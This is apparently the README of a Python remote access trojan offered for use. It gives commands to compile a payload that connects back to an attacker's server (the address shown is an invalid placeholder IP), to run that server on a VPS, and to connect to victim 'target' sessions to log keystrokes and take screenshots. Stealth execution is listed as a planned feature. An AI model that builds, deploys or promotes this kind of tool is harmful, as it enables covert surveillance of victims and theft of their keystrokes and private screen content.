RAT
RAT
A cross platform RAT written in pure Python. The RAT accept commands alongside
arguments to either perform as the server who accepts connections or to perform as
the client/target who establish connections to the server. The generate command
uses the module pyinstaller to compile the actual payload code. So, in order to
generate payload file for your respective platform, you need to be on that platform
while generating the file. Moreover, you can directly get the source file as well.
Features
To be expected in future
Stealth Execution
Encryption
Storing Sessions from last attempt
Pushing Notifications when a client connects
Installation
The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:
Documentation
Generating Payload
Source File
Compiled File
The source file is to remain same on all platforms. So, you can generate it on one
platform and use it on the other. Getting the source file:
The compiled version has to generated on the respective platform. For example, you
can't generate an .exe file on Linux. You specifically have to be on Windows. The
tool is still under testing. So, all kinds of errors are accepted. Make sure to
open an issue though. Generating the Compiled Version for Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer
The server must be executed on Linux. You can buy a VPS or Cloud Server for
connections. For the record, the server doesn't store any session from last run.
So, all the progress will lost once the server application gets terminated. Running
your server:
Connections
$ sessions
You can connect to you target session with connect command and launch one of
available commands:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot
Help
$ help
$ help COMMAND
Support
Twitter: @hash3liZer
Discord: TheFlash2k#0407